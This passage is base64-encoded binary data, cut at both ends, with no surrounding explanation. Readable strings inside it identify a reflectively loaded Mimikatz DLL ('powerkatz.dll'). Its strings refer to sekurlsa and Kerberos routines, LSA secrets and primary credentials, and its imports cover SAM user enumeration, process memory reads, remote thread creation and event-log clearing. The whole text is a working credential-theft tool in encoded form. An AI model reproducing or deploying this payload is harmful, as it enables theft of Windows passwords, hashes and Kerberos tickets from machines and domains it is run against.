cgB2AGkAYwBlAAAAQwBsAGkAZQBuAHQAIABUAGkAYwBrAGUAdAAgAD8AAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFQAaQBjAGsAZQB0AAAAAAAKAAkARwByAG8AdQBwACAAJQB1ACAALQAgACUAcwAAAAoACQAgACoAIABLAGUAeQAgAEwAaQBzAHQAIAA6AAoAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBlAG4AdQBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAXABfACAAKgBQAGEAcwBzAHcAbwByAGQAIAByAGUAcABsAGEAYwBlACAALQA+ACAAAAAAAG4AdQBsAGwAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAHUAbQBfAHQAaQBjAGsAZQB0AHMAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAKAAkAIAAgACAATABTAEEAIABTAGUAcwBzAGkAbwBuACAASwBlAHkAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAFByaW1hcnkAQ3JlZGVudGlhbEtleXMAAAoACQAgAFsAJQAwADgAeABdACAAJQBaAAAAAABkAGEA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/JkAEAAAAAD/////HZsAEHSbABAAAAAA/////4icABDfnAAQAAAAAP////8HgAQQXoAEEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAA4FQUQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAALMVBRAAAAAA/v///wAAAADU////AAAAAP7///+oFgUQxxYFEAAAAAD+////AAAAANj///8AAAAA/v///6QZBRC3GQUQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFk4BRAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAaWsFEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAASawUQAAAAAAAAAADlagUQ/v///wAAAADQ////AAAAAP7///8AAAAAYGwFEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAA3bgUQAAAAAOT///8AAAAA1P///wAAAAD+////AAAAAAoDBhAAAAAA8gIGEAIDBhD+////AAAAANT///8AAAAA/v///wAAAAA+CgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAI8KBhAAAAAA5P///wAAAADU////AAAAAP7///9nDwYQaw8GEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAC+HAYQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMobBhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAKxwGEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAB2HAYQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAALwtBhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAey8GEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACFNwYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPU4BhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAA5z8GEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACVQgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAADpEBhAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAa0gGEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAB/RgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAOVsBhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAlmcGEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB3dQYQAAAAAOT///8AAAAAtP///wAAAAD+////AAAAAHt4BhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAznUGEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABDfwYQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAAHGeBhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAY6EGEAAAAAD+////AAAAANj///8AAAAA/v///wAAAABetgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGjMBhAAAAAA/v///wAAAADY////AAAAAP7///9p6QYQfOkGEAAAAAD+////AAAAAKj///8AAAAA/v///7sWBxDOFgcQAAAAAAAAAAAAAAAAAAAAAEtRiVcAAAAA0ukJAAEAAAABAAAAAQAAAMjpCQDM6QkA0OkJAAyrAwDg6QkAAABwb3dlcmthdHouZGxsAHBvd2Vyc2hlbGxfcmVmbGVjdGl2ZV9taW1pa2F0egAAfOsJAAAAAAAAAAAA4PcJAAAgBwDQ7AkAAAAAAAAAAACe+QkAVCEHALDwCQAAAAAAAAAAAAr6CQA0JQcAkO8JAAAAAAAAAAAAPPoJABQkBwBM8QkAAAAAAAAAAACC+gkA0CUHAJzvCQAAAAAAAAAAAIz6CQAgJAcArO8JAAAAAAAAAAAAYPsJADAkBwAo8AkAAAAAAAAAAADK+wkArCQHANDvCQAAAAAAAAAAAAj9CQBUJAcAQPAJAAAAAAAAAAAAzP0JAMQkBwAg8AkAAAAAAAAAAADu/QkApCQHAGDwCQAAAAAAAAAAACT+CQDkJAcAFO0JAAAAAAAAAAAAmv4JAJghBwAM8AkAAAAAAAAAAAAc/wkAkCQHAGzwCQAAAAAAAAAAACr/CQDwJAcA3PAJAAAAAAAAAAAA4gEKAGAlBwDM8AkAAAAAAAAAAABCAgoAUCUHACztCQAAAAAAAAAAANgKCgCwIQcAAAAAAAAAAAAAAAAAAAAAAAAAAABc8QkAcvEJAIDxCQCU8QkAqPEJALrxCQDO8QkA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Q3J5cHRBY3F1aXJlQ29udGV4dEEAALcAQ3J5cHREZXN0cm95S2V5ADYBR2V0TGVuZ3RoU2lkAAB2AENvcHlTaWQAnQFMc2FDbG9zZQAAvQFMc2FPcGVuUG9saWN5AMUBTHNhUXVlcnlJbmZvcm1hdGlvblBvbGljeQCDAENyZWF0ZVdlbGxLbm93blNpZAAAfABDcmVhdGVQcm9jZXNzQXNVc2VyVwAAfQBDcmVhdGVQcm9jZXNzV2l0aExvZ29uVwBuAlJlZ1F1ZXJ5VmFsdWVFeFcAAFICUmVnRW51bVZhbHVlVwBhAlJlZ09wZW5LZXlFeFcAfgJSZWdTZXRWYWx1ZUV4VwAATwJSZWdFbnVtS2V5RXhXAGgCUmVnUXVlcnlJbmZvS2V5VwAAMAJSZWdDbG9zZUtleQDtAlN5c3RlbUZ1bmN0aW9uMDMyACkCUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAPsBT3BlblNlcnZpY2VXAADJAlN0YXJ0U2VydmljZVcAXABDb250cm9sU2VydmljZQAA2gBEZWxldGVTZXJ2aWNlAPkBT3BlblNDTWFuYWdlclcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAMEAQ3J5cHRHZW5SYW5kb20AAIABSXNUZXh0VW5pY29kZQBaAUdldFRva2VuSW5mb3JtYXRpb24AjwFMb29rdXBBY2NvdW50TmFtZVcAAJEBTG9va3VwQWNjb3VudFNpZFcA9wFPcGVuUHJvY2Vzc1Rva2VuAAB0AENvbnZlcnRTdHJpbmdTaWRUb1NpZFcAAKsBTHNhRnJlZU1lbW9yeQDTAlN5c3RlbUZ1bmN0aW9uMDA2ALwAQ3J5cHRFbnVtUHJvdmlkZXJUeXBlc1cAvgBDcnlwdEVudW1Qcm92aWRlcnNXAMcAQ3J5cHRHZXRVc2VyS2V5APYBT3BlbkV2ZW50TG9nVwBTAENsZWFyRXZlbnRMb2dXAABDAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AABDAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAIAFGcmVlU2lkAL8CU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AAAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAgQBDcmVhdGVTZXJ2aWNlVwAA5gJTeXN0ZW1GdW5jdGlvbjAyNQDMAUxzYVJldHJpZXZlUHJpdmF0ZURhdGEAAL8BTHNhT3BlblNlY3JldADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUAxgFMc2FRdWVyeVNlY3JldAAAzgJTeXN0ZW1GdW5jdGlvbjAwMQDSAlN5c3RlbUZ1bmN0aW9uMDA1AFcBR2V0U2lkU3ViQXV0aG9yaXR5AADaAlN5c3RlbUZ1bmN0aW9uMDEzAFgBR2V0U2lkU3ViQXV0aG9yaXR5Q291bnQAqgFMc2FFbnVtZXJhdGVUcnVzdGVkRG9tYWluc0V4AACXAUxvb2t1cFByaXZpbGVnZVZhbHVlVwCGAUlzVmFsaWRTaWQAAPwBT3BlblRocmVhZFRva2VuAN8ARHVwbGljYXRlVG9rZW5FeAAAUQBDaGVja1Rva2VuTWVtYmVyc2hpcAAAwQJTZXRUaHJlYWRUb2tlbgAAjABDcmVkRnJlZQAAiQBDcmVkRW51bWVyYXRlVwAAQURWQVBJMzIuZGxsAADbAENyeXB0VW5wcm90ZWN0RGF0YQAAfQBDcnlwdEJpbmFyeVRvU3RyaW5nVwAA2QBDcnlwdFN0cmluZ1RvQmluYXJ5VwAAvQBDcnlwdFByb3RlY3REYXRhAAB6AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAIAENlcnRBZGRFbmNvZGVkQ2VydGlmaWNhdGVUb1N0b3JlAABAAENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAvAENlcnRFbnVtU3lzdGVtU3RvcmUABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAEgBDZXJ0Q2xvc2VTdG9yZQAAFgFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAagBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkASwBDZXJ0R2V0TmFtZVN0cmluZ1cAAFcAQ2VydE9wZW5TdG9yZQBGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQBDUllQVDMyLmRsbAAGAENETG9jYXRlQ2hlY2tTdW0AAAwATUQ1SW5pdAANAE1ENVVwZGF0ZQALAE1ENUZpbmFsAAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAABjcnlwdGRsbC5kbGwAABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAE5FVEFQSTMyLmRsbAAAEABDb0NyZWF0ZUluc3RhbmNlAABsAENvVW5pbml0aWFsaXplAAA/AENvSW5pdGlhbGl6ZUV4AABvbGUzMi5kbGwAT0xFQVVUMzIuZGxsAABxAVJwY0JpbmRpbmdTZXRPcHRpb24AXwFScGNCaW5kaW5nRnJvbVN0cmluZ0JpbmRpbmdXAADuAVJwY1N0cmluZ0JpbmRpbmdDb21wb3NlVwAAbgFScGNCaW5kaW5nU2V0QXV0aEluZm9FeFcAAPIBUnBjU3RyaW5nRnJlZVcAAF0BUnBjQmluZGluZ0ZyZWUAACAASV9ScGNCaW5kaW5nSW5xU2VjdXJpdHlDb250ZXh0AACVAE5kckNsaWVudENhbGwyAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluACEAU2FtT3BlblVzZXIAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgARAFNhbUVudW1lcmF0ZURvbWFpbnNJblNhbVNlcnZlcgAALABTYW1SaWRUb1NpZAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIAU0FNTElCLmRsbAAAGABGcmVlQ29udGV4dEJ1ZmZlcgA0AFF1ZXJ5Q29udGV4dEF0dHJpYnV0ZXNXACcATHNhQ29ubmVjdFVudHJ1c3RlZAAoAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAJgBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlAAAtAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyAFNlY3VyMzIuZGxsAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbADDAUlzQ2hhckFscGhhTnVtZXJpY1cAPgFHZXRLZXlib2FyZExheW91dABVU0VSMzIuZGxsAAAFAEhpZERfR2V0SGlkR3VpZAABAEhpZERfRnJlZVByZXBhcnNlZERhdGEAAAwASGlkRF9HZXRQcmVwYXJzZWREYXRhABUASGlkUF9HZXRDYXBzAAACAEhpZERfR2V0QXR0cmlidXRlcwAASElELkRMTAA/AVNldHVwRGlEZXN0cm95RGV2aWNlSW5mb0xpc3QAAEMBU2V0dXBEaUVudW1EZXZpY2VJbnRlcmZhY2VzAFYBU2V0dXBEaUdldENsYXNzRGV2c1cAAG4BU2V0dXBEaUdldERldmljZUludGVyZmFjZURldGFpbFcAAFNFVFVQQVBJLmRsbAAAV0xEQVAzMi5kbGwAFQBSdGxGcmVlQW5zaVN0cmluZwAgAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAABYAUnRsRnJlZVVuaWNvZGVTdHJpbmcAABIAUnRsRG93bmNhc2VVbmljb2RlU3RyaW5nAAAUAFJ0bEVxdWFsVW5pY29kZVN0cmluZwAcAFJ0bEluaXRVbmljb2RlU3RyaW5nAAACAE50UXVlcnlPYmplY3QAGABSdGxHZXRDb21wcmVzc2lvbldvcmtTcGFjZVNpemUAAA8AUnRsQ29tcHJlc3NCdWZmZXIABQBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAAEATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAZAFJ0bEdldEN1cnJlbnRQZWIAABAAUnRsQ3JlYXRlVXNlclRocmVhZAAXAFJ0bEdVSURGcm9tU3RyaW5nAB8AUnRsU3RyaW5nRnJvbUdVSUQAGgBSdGxHZXROdFZlcnNpb25OdW1iZXJzAAAOAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAAIgBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAANAFJ0bEFuc2lTdHJpbmdUb1VuaWNvZGVTdHJpbmcAAAYATnRSZXN1bWVQcm9jZXNzAAwAUnRsQWRqdXN0UHJpdmlsZWdlAAALAE50VGVybWluYXRlUHJvY2VzcwAACgBOdFN1c3BlbmRQcm9jZXNzAAAIAE50U2V0U3lzdGVtRW52aXJvbm1lbnRWYWx1ZUV4AAQATnRRdWVyeVN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAAAE50RW51bWVyYXRlU3lzdGVtRW52aXJvbm1lbnRWYWx1ZXNFeAAAEwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAAEASV9OZXRTZXJ2ZXJSZXFDaGFsbGVuZ2UAAABJX05ldFNlcnZlckF1dGhlbnRpY2F0ZTIAAAIASV9OZXRTZXJ2ZXJUcnVzdFBhc3N3b3Jkc0dldAAAbmV0YXBpMzIuZGxsAABEA0xvY2FsQWxsb2MAACUBRmlsZVRpbWVUb1N5c3RlbVRpbWUAAEgDTG9jYWxGcmVlAMADUmVhZEZpbGUAACUFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAsgRTbGVlcAACAkdldExhc3RFcnJvcgAAwQRUZXJtaW5hdGVUaHJlYWQAUgBDbG9zZUhhbmRsZQC1AENyZWF0ZVRocmVhZAAAOQFGaW5kRmlyc3RGaWxlVwAA8QFHZXRGaWxlU2l6ZUV4AEUBRmluZE5leHRGaWxlVwAdAUV4cGFuZEVudmlyb25tZW50U3RyaW5nc1cALgFGaW5kQ2xvc2UA6gFHZXRGaWxlQXR0cmlidXRlc1cAAL8BR2V0Q3VycmVudERpcmVjdG9yeVcAAFcBRmx1c2hGaWxlQnVmZmVycwAAwAFHZXRDdXJyZW50UHJvY2VzcwDoAER1cGxpY2F0ZUhhbmRsZQCAA09wZW5Qcm9jZXNzAN0ARGV2aWNlSW9Db250cm9sAC4FV3JpdGVQcm9jZXNzTWVtb3J5AADvBFZpcnR1YWxQcm90ZWN0AADsBFZpcnR1YWxGcmVlAOkEVmlydHVhbEFsbG9jAABmBFNldEZpbGVQb2ludGVyAADwBFZpcnR1YWxQcm90ZWN0RXgAAOoEVmlydHVhbEFsbG9jRXgAAMMDUmVhZFByb2Nlc3NNZW1vcnkA7QRWaXJ0dWFsRnJlZUV4APEEVmlydHVhbFF1ZXJ5AADyBFZpcnR1YWxRdWVyeUV4AADWBFVubWFwVmlld09mRmlsZQCMAENyZWF0ZUZpbGVNYXBwaW5nVwAAVwNNYXBWaWV3T2ZGaWxlAEsDTG9jYWxSZUFsbG9jAACoAENyZWF0ZVByb2Nlc3NXAABzBFNldExhc3RFcnJvcgAA+QRXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAAAkAUZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lAJcCR2V0VGltZUZvcm1hdFcAABEFV2lkZUNoYXJUb011bHRpQnl0ZQDIAUdldERhdGVGb3JtYXRXAAAVAEFyZUZpbGVBcGlzQU5TSQDOBFRyeUVudGVyQ3JpdGljYWxTZWN0aW9uAM0CSGVhcENyZWF0ZQAAzwJIZWFwRnJlZQAA7gBFbnRlckNyaXRpY2FsU2VjdGlvbgAA+wFHZXRGdWxsUGF0aE5hbWVXAADpAkludGVybG9ja2VkQ29tcGFyZUV4Y2hhbmdlAADPAUdldERpc2tGcmVlU3BhY2VXAIkDT3V0cHV0RGVidWdTdHJpbmdBAABSA0xvY2tGaWxlAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADiAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb24A+AFHZXRGdWxsUGF0aE5hbWVBAABTBFNldEVuZE9mRmlsZQAA1QRVbmxvY2tGaWxlRXgAAIUCR2V0VGVtcFBhdGhXAACeAENyZWF0ZU11dGV4VwAApAJHZXRWZXJzaW9uRXhXANcCSGVhcFZhbGlkYXRlAADUAkhlYXBTaXplAABnA011bHRpQnl0ZVRvV2lkZUNoYXIAhAJHZXRUZW1wUGF0aEEAAF4BRm9ybWF0TWVzc2FnZVcAAMwBR2V0RGlza0ZyZWVTcGFjZUEA5QFHZXRGaWxlQXR0cmlidXRlc0EAAOcBR2V0RmlsZUF0dHJpYnV0ZXNFeFcAAIoDT3V0cHV0RGVidWdTdHJpbmdXAABaAUZsdXNoVmlld09mRmlsZQCIAENyZWF0ZUZpbGVBAPoEV2FpdEZvclNpbmdsZU9iamVjdEV4AKMCR2V0VmVyc2lvbkV4QQDTAERlbGV0ZUZpbGVBANYARGVsZXRlRmlsZVcA0gJIZWFwUmVBbGxvYwBzAkdldFN5c3RlbUluZm8AywJIZWFwQWxsb2MAzAJIZWFwQ29tcGFjdADOAkhlYXBEZXN0cm95ANQEVW5sb2NrRmlsZQAAiQBDcmVhdGVGaWxlTWFwcGluZ0EAAFMDTG9ja0ZpbGVFeAAA8AFHZXRGaWxlU2l6ZQDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDBAUdldEN1cnJlbnR